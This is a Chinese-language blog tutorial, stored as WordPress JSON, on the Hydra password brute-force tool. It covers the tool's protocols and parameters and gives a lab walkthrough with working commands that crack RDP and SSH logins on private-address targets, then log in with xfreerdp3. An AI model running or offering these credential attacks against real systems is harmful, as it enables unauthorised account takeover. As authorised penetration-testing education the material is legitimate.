{"id":744,"date":"2025-09-16T17:26:22","date_gmt":"2025-09-16T09:26:22","guid":{"rendered":"https:\/\/www.htmacg.cn\/?p=744"},"modified":"2025-09-16T17:26:22","modified_gmt":"2025-09-16T09:26:22","slug":"hydra%ef%bc%88%e4%b9%9d%e5%a4%b4%e8%9b%87%ef%bc%89%e8%b4%a6%e5%8f%b7%e5%af%86%e7%a0%81%e7%88%86%e7%a0%b4%e5%b7%a5%e5%85%b7%e8%b6%85%e8%af%a6%e7%bb%86%e4%bd%bf%e7%94%a8%e6%95%99%e7%a8%8b%e7%9c%8b","status":"publish","type":"post","link":"https:\/\/www.htmacg.cn\/?p=744","title":{"rendered":"Hydra\uff08\u4e5d\u5934\u86c7\uff09\u8d26\u53f7\u5bc6\u7801\u7206\u7834\u5de5\u5177\u8d85\u8be6\u7ec6\u4f7f\u7528\u6559\u7a0b,\u770b\u5b8c\u8fd9\u4e00\u7bc7\u5c31\u591f\u4e86\u3002"},"content":{"rendered":"<h2><strong>\u7b80\u4ecb<\/strong><\/h2>\n<p><strong>Hydra\uff08\u4e2d\u6587\u540d \u201c\u4e5d\u5934\u86c7\u201d\uff09<\/strong>\u662f\u4e00\u6b3e\u7531van Hauser\u4e3b\u5bfc\u5f00\u53d1\u3001\u96b6\u5c5e\u4e8e\u8457\u540d\u5b89\u5168\u7ec4\u7ec7 The Hacker&#8217;s Choice\uff08THC\uff09\u7684\u5f00\u6e90\u66b4\u529b\u7834\u89e3\u5de5\u5177\u3002\u5b83\u4ee5\u9ad8\u6548\u3001\u591a\u534f\u8bae\u652f\u6301\u548c\u8de8\u5e73\u53f0\u7279\u6027\u8457\u79f0\uff0c\u6838\u5fc3\u529f\u80fd\u662f\u901a\u8fc7\u81ea\u52a8\u5316\u5c1d\u8bd5\u5927\u91cf\u7528\u6237\u540d\u4e0e\u5bc6\u7801\u7ec4\u5408\uff0c\u7a81\u7834\u76ee\u6807\u7cfb\u7edf\u6216\u670d\u52a1\u7684\u8eab\u4efd\u9a8c\u8bc1\u673a\u5236\uff0c\u5e7f\u6cdb\u7528\u4e8e\u7f51\u7edc\u5b89\u5168\u6e17\u900f\u6d4b\u8bd5\u3001\u6f0f\u6d1e\u8bc4\u4f30\u53ca\u5408\u6cd5\u6388\u6743\u7684\u5b89\u5168\u5ba1\u8ba1\u573a\u666f<\/p>\n<p><em>\u5f00\u6e90\u5730\u5740\uff1ahttps:\/\/github.com\/vanhauser-thc\/thc-hydra<\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><strong>\u6838\u5fc3\u7279\u6027<\/strong><\/h3>\n<p>Hydra \u7684 \u201c\u5f3a\u5927\u201d \u4e3b\u8981\u4f53\u73b0\u5728\u4ee5\u4e0b\u51e0\u4e2a\u5173\u952e\u7ef4\u5ea6\uff0c\u4f7f\u5176\u6210\u4e3a\u5b89\u5168\u4ece\u4e1a\u8005\u7684\u5e38\u7528\u5de5\u5177\u4e4b<\/p>\n<p><strong>\u591a\u534f\u8bae\u5168\u8986\u76d6\uff1a<\/strong><\/p>\n<p>\u652f\u6301\u5f53\u524d\u4e3b\u6d41\u7684\u7edd\u5927\u591a\u6570\u7f51\u7edc\u670d\u52a1\u4e0e\u534f\u8bae\uff0c\u65e0\u9700\u4e3a\u4e0d\u540c\u76ee\u6807\u5207\u6362\u5de5\u5177\uff0c<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u8986\u76d6\u573a\u666f\u5305\u62ec\uff1a<\/strong><\/p>\n<p>\u8fdc\u7a0b\u767b\u5f55\u7c7b\uff1aSSH\u3001Telnet\u3001RDP\uff08\u8fdc\u7a0b\u684c\u9762\uff09\u3001VNC\uff08\u8fdc\u7a0b\u63a7\u5236\uff09\u3001FTP\u3001SFTP\uff1b<\/p>\n<p>Web \u670d\u52a1\u7c7b\uff1aHTTP Basic\/Digest \u8ba4\u8bc1\u3001HTML Form \u8868\u5355\uff08\u5982\u7f51\u7ad9\u767b\u5f55\u9875\uff09\u3001WordPress\u3001Joomla\uff1b<\/p>\n<p>\u6570\u636e\u5e93\u7c7b\uff1aMySQL\u3001PostgreSQL\u3001Oracle\u3001MongoDB\u3001Redis\uff1b<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u5176\u4ed6\u5e38\u7528\u670d\u52a1\uff1a<\/strong><\/p>\n<p>SMTP\u3001POP3\u3001IMAP\u3001LDAP\u3001Cisco \u8bbe\u5907\uff08Telnet\/SSH\uff09\u7b49\u3002<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u9ad8\u6548\u7834\u89e3\u80fd\u529b\uff1a<\/strong><\/p>\n<p>\u652f\u6301\u591a\u7ebf\u7a0b\u5e76\u53d1<strong>\uff1a<\/strong>\u53ef\u81ea\u5b9a\u4e49\u7ebf\u7a0b\u6570\uff08\u9700\u6ce8\u610f\u63a7\u5236\u9891\u7387\uff0c\u907f\u514d\u89e6\u53d1\u76ee\u6807\u9632\u62a4\u673a\u5236\uff09\uff0c\u5927\u5e45\u63d0\u5347\u7834\u89e3\u6548\u7387\uff1b<\/p>\n<p>\u7075\u6d3b\u7684\u5b57\u5178\u7b56\u7565\uff1a\u652f\u6301\u52a0\u8f7d\u81ea\u5b9a\u4e49\u7528\u6237\u540d\u5b57\u5178\uff08userlist\uff09\u548c\u5bc6\u7801\u5b57\u5178\uff08passlist\uff09\uff0c\u4e5f\u53ef\u901a\u8fc7\u53c2\u6570\u751f\u6210\u7b80\u5355\u5bc6\u7801\u7ec4\u5408\uff08\u5982\u6570\u5b57\u5e8f\u5217\u3001\u5b57\u6bcd\u7ec4\u5408\uff09\uff1b<\/p>\n<p>\u65ad\u70b9\u7eed\u8dd1\uff08\u90e8\u5206\u573a\u666f\uff09\uff1a\u82e5\u7834\u89e3\u8fc7\u7a0b\u4e2d\u65ad\uff0c\u53ef\u901a\u8fc7\u65e5\u5fd7\u6062\u590d\u8fdb\u5ea6\uff0c\u907f\u514d\u91cd\u590d\u5c1d\u8bd5\u3002<\/p>\n<p>\u8de8\u5e73\u53f0\u517c\u5bb9\u6027\uff1a\u539f\u751f\u652f\u6301 Linux\u3001macOS\u3001Windows \u7b49\u4e3b\u6d41\u64cd\u4f5c\u7cfb\u7edf\uff0c\u5176\u4e2d Linux\uff08\u5c24\u5176\u662f Kali Linux\uff09\u7cfb\u7edf\u9884\u88c5\u8be5\u5de5\u5177\uff0cWindows \u7248\u672c\u9700\u901a\u8fc7\u6e90\u7801\u7f16\u8bd1\u6216\u7b2c\u4e09\u65b9\u5305\u5b89\u88c5\u3002<\/p>\n<p>&nbsp;<\/p>\n<h2><strong>\u57fa\u672c\u4f7f\u7528\u53c2\u6570\uff1a<\/strong><\/h2>\n<table>\n<thead>\n<tr>\n<th>\u53c2\u6570<\/th>\n<th>\u4f5c\u7528\u8bf4\u660e<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>-L &lt;\u6587\u4ef6&gt;<\/code><\/td>\n<td>\u52a0\u8f7d\u7528\u6237\u540d\u5b57\u5178\uff08\u6279\u91cf\u5c1d\u8bd5\u591a\u4e2a\u7528\u6237\u540d\uff09<\/td>\n<\/tr>\n<tr>\n<td><code>-l &lt;\u5b57\u7b26\u4e32&gt;<\/code><\/td>\n<td>\u6307\u5b9a\u5355\u4e2a\u7528\u6237\u540d\uff08\u4ec5\u5c1d\u8bd5\u8be5\u7528\u6237\u540d\uff0c\u642d\u914d\u5bc6\u7801\u5b57\u5178\uff09<\/td>\n<\/tr>\n<tr>\n<td><code>-P &lt;\u6587\u4ef6&gt;<\/code><\/td>\n<td>\u52a0\u8f7d\u5bc6\u7801\u5b57\u5178\uff08\u6279\u91cf\u5c1d\u8bd5\u591a\u4e2a\u5bc6\u7801\uff09<\/td>\n<\/tr>\n<tr>\n<td><code>-p &lt;\u5b57\u7b26\u4e32&gt;<\/code><\/td>\n<td>\u6307\u5b9a\u5355\u4e2a\u5bc6\u7801\uff08\u4ec5\u5c1d\u8bd5\u8be5\u5bc6\u7801\uff0c\u642d\u914d\u7528\u6237\u540d\u5b57\u5178\uff09<\/td>\n<\/tr>\n<tr>\n<td><code>-t &lt;\u6570\u5b57&gt;<\/code><\/td>\n<td>\u8bbe\u7f6e\u5e76\u53d1\u7ebf\u7a0b\u6570\uff08\u9ed8\u8ba4 16\uff0c\u7ebf\u7a0b\u8fc7\u591a\u53ef\u80fd\u5bfc\u81f4\u76ee\u6807\u670d\u52a1\u5668\u62d2\u7edd\u670d\u52a1\uff0c\u5efa\u8bae 10-50\uff09<\/td>\n<\/tr>\n<tr>\n<td><code>-o &lt;\u6587\u4ef6&gt;<\/code><\/td>\n<td>\u5c06\u7834\u89e3\u7ed3\u679c\u4fdd\u5b58\u5230\u6307\u5b9a\u65e5\u5fd7\u6587\u4ef6<\/td>\n<\/tr>\n<tr>\n<td><code>-vV<\/code><\/td>\n<td>\u8be6\u7ec6\u6a21\u5f0f\uff08\u5b9e\u65f6\u8f93\u51fa\u6bcf\u4e00\u6b21\u5c1d\u8bd5\u7684\u7ed3\u679c\uff0c\u4fbf\u4e8e\u8c03\u8bd5\uff09<\/td>\n<\/tr>\n<tr>\n<td><code>-f<\/code><\/td>\n<td>\u627e\u5230\u7b2c\u4e00\u4e2a\u6709\u6548\u8d26\u53f7\u5bc6\u7801\u540e\u7acb\u5373\u505c\u6b62\u7834\u89e3\uff08\u8282\u7701\u65f6\u95f4\uff09<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>\u5b9e\u6218\uff1a<\/strong><\/h2>\n<p><span style=\"color: #ff0000;\"><strong> \uff08\u6ce8\uff1a\u672a\u7ecf\u6388\u6743\u4f7f\u7528 Hydra \u653b\u51fb\u4efb\u4f55\u7cfb\u7edf\u5747\u5c5e\u8fdd\u6cd5\u884c\u4e3a\uff09<\/strong><\/span><\/p>\n<ul class=\"auto-hide-last-sibling-br\">\n<li>\u653b\u51fb\u673a\uff1aKali Linux\uff08192.168.219.129\uff0c\u5df2\u9884\u88c5 Hydra\uff09<\/li>\n<\/ul>\n<ul class=\"auto-hide-last-sibling-br\">\n<li>\u9776\u673a 1\uff1aCentOS 8\uff08192.168.219.128\uff0c\u8fd0\u884c SSH \u670d\u52a1\uff0c\u9ed8\u8ba4\u7aef\u53e3 22\uff09<\/li>\n<\/ul>\n<ul class=\"auto-hide-last-sibling-br\">\n<li>\u9776\u673a 2\uff1aWindows 10\uff08192.168.219.130\uff0c\u8fd0\u884c RDP \u670d\u52a1\uff0c\u9ed8\u8ba4\u7aef\u53e3 3389\uff09<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>\u57fa\u672c\u547d\u4ee4\u683c\u5f0f\uff1a<\/p>\n<pre class=\"corepress-code-pre\"><code>hydra -L &lt;\u7528\u6237\u540d\u5b57\u5178&gt; -P &lt;\u5bc6\u7801\u5b57\u5178&gt; -t &lt;\u7ebf\u7a0b\u6570&gt; -vV -o &lt;\u65e5\u5fd7\u6587\u4ef6&gt;  &lt;\u670d\u52a1\u540d&gt;:\/\/ &lt;\u76ee\u6807IP&gt;<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>\uff08RDP\u8fdc\u7a0b\u684c\u9762\u7206\u7834\uff09\u5728\u77e5\u9053\u8d26\u53f7\u7684\u60c5\u51b5\u4e0b\u53ef\u4ee5\u4f7f\u7528\uff1a<\/p>\n<pre class=\"corepress-code-pre\"><code>hydra -l administrator -P passwd.txt -t 4 -vV -f -o pass.log rdp:\/\/192.168.219.130<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/img.htmacg.cn\/uploads\/2025\/09\/16\/68c8d2b21c34b.png\" \/><\/p>\n<p>\u7206\u7834\u6210\u529f\u4ee5\u540e\u7684\u7ed3\u679c\uff0c\u53ef\u6839\u636e\u5f53\u524d\u76ee\u5f55\u4e0b\u751f\u6210\u7684\u65e5\u5fd7\u6587\u4ef6pass.log\u67e5\u770b\u7206\u7834\u7ed3\u679c\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/img.htmacg.cn\/uploads\/2025\/09\/16\/68c8d319be56a.png\" \/><\/p>\n<p>\u77e5\u9053\u5bc6\u7801\u4ee5\u540e\u6211\u4eec\u5229\u7528xfreerdp3\u5de5\u5177\u8fdb\u884c\u8fdc\u7a0b\u767b\u9646\uff1a<\/p>\n<p>\u8be5\u5de5\u5177\u7684\u57fa\u672c\u547d\u4ee4\u683c\u5f0f\uff1a<\/p>\n<pre class=\"corepress-code-pre\"><code>xfreerdp3 \/u:\u7528\u6237\u540d \/p:\u5bc6\u7801 \/v:ip\u5730\u5740<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/img.htmacg.cn\/uploads\/2025\/09\/16\/68c8d4907db9a.png\" \/><\/p>\n<p>\u5728\u4f7f\u7528\u7528\u6237\u540d\u5b57\u5178\u7684\u60c5\u51b5\u4e0b\u8be5\u4e3a\u5927\u5199L\u5e76\u4e14\u52a0\u4e0a\u7528\u6237\u540d\u5b57\u5178\u8def\u5f84\uff1a<\/p>\n<pre class=\"corepress-code-pre\"><code>hydra -L uname.txt -P passwd.txt -t 4 -vV -f -o pass.log rdp:\/\/192.168.219.130<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Linuxssh\u7206\u7834\u540c\u7406\uff1a<\/p>\n<pre class=\"corepress-code-pre\"><code>hydra -l root -P passwd.txt -t 4 -vV -f -o pass.log ssh:\/\/192.168.219.128<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/img.htmacg.cn\/uploads\/2025\/09\/16\/68c8d9cb89a7c.png\" \/><\/p>\n<p>&nbsp;<\/p>\n<h2>\u58f0\u660e<\/h2>\n<blockquote><p>\u672c\u58f0\u660e\u65e8\u5728\u660e\u786e\u7f51\u7edc\u6e17\u900f\u6d4b\u8bd5\u884c\u4e3a\u7684\u5408\u6cd5\u8fb9\u754c\u3001\u8d23\u4efb\u5212\u5206\u53ca\u98ce\u9669\u63d0\u793a\uff0c\u6240\u6709\u6d89\u53ca\u7f51\u7edc\u6e17\u900f\u6d4b\u8bd5\u7684\u64cd\u4f5c\uff08\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\u6f0f\u6d1e\u626b\u63cf\u3001\u6743\u9650\u6d4b\u8bd5\u3001\u534f\u8bae\u5206\u6790\u7b49\uff09\u5747\u9700\u4e25\u683c\u9075\u5b88\u672c\u58f0\u660e\u53ca\u76f8\u5173\u6cd5\u5f8b\u6cd5\u89c4\uff0c\u4efb\u4f55\u8fdd\u53cd\u58f0\u660e\u6216\u6cd5\u5f8b\u89c4\u5b9a\u7684\u884c\u4e3a\uff0c\u7531\u884c\u4e3a\u4eba\u81ea\u884c\u627f\u62c5\u5168\u90e8\u6cd5\u5f8b\u8d23\u4efb\u4e0e\u540e\u679c\u3002<\/p><\/blockquote>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u7b80\u4ecb Hydra\uff08\u4e2d\u6587\u540d \u201c\u4e5d\u5934\u86c7\u201d\uff09\u662f\u4e00\u6b3e\u7531van Hauser\u4e3b\u5bfc\u5f00\u53d1\u3001\u96b6\u5c5e\u4e8e\u8457\u540d\u5b89\u5168\u7ec4\u7ec7 The Hacker&#8217;s Choice\uff08THC\uff09\u7684\u5f00\u6e90\u66b4\u529b\u7834\u89e3\u5de5\u5177\u3002\u5b83\u4ee5\u9ad8\u6548\u3001\u591a\u534f\u8bae\u652f\u6301\u548c\u8de8\u5e73\u53f0\u7279\u6027\u8457\u79f0\uff0c\u6838\u5fc3\u529f\u80fd\u662f\u901a\u8fc7\u81ea\u52a8\u5316\u5c1d\u8bd5\u5927\u91cf\u7528\u6237\u540d\u4e0e\u5bc6\u7801\u7ec4\u5408\uff0c\u7a81\u7834\u76ee\u6807\u7cfb\u7edf\u6216\u670d\u52a1\u7684\u8eab\u4efd\u9a8c\u8bc1\u673a\u5236\uff0c\u5e7f\u6cdb\u7528&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-744","post","type-post","status-publish","format-standard","hentry","category-information_security"],"_links":{"self":[{"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=\/wp\/v2\/posts\/744","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=744"}],"version-history":[{"count":0,"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=\/wp\/v2\/posts\/744\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=744"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=744"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.htmacg.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=744"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}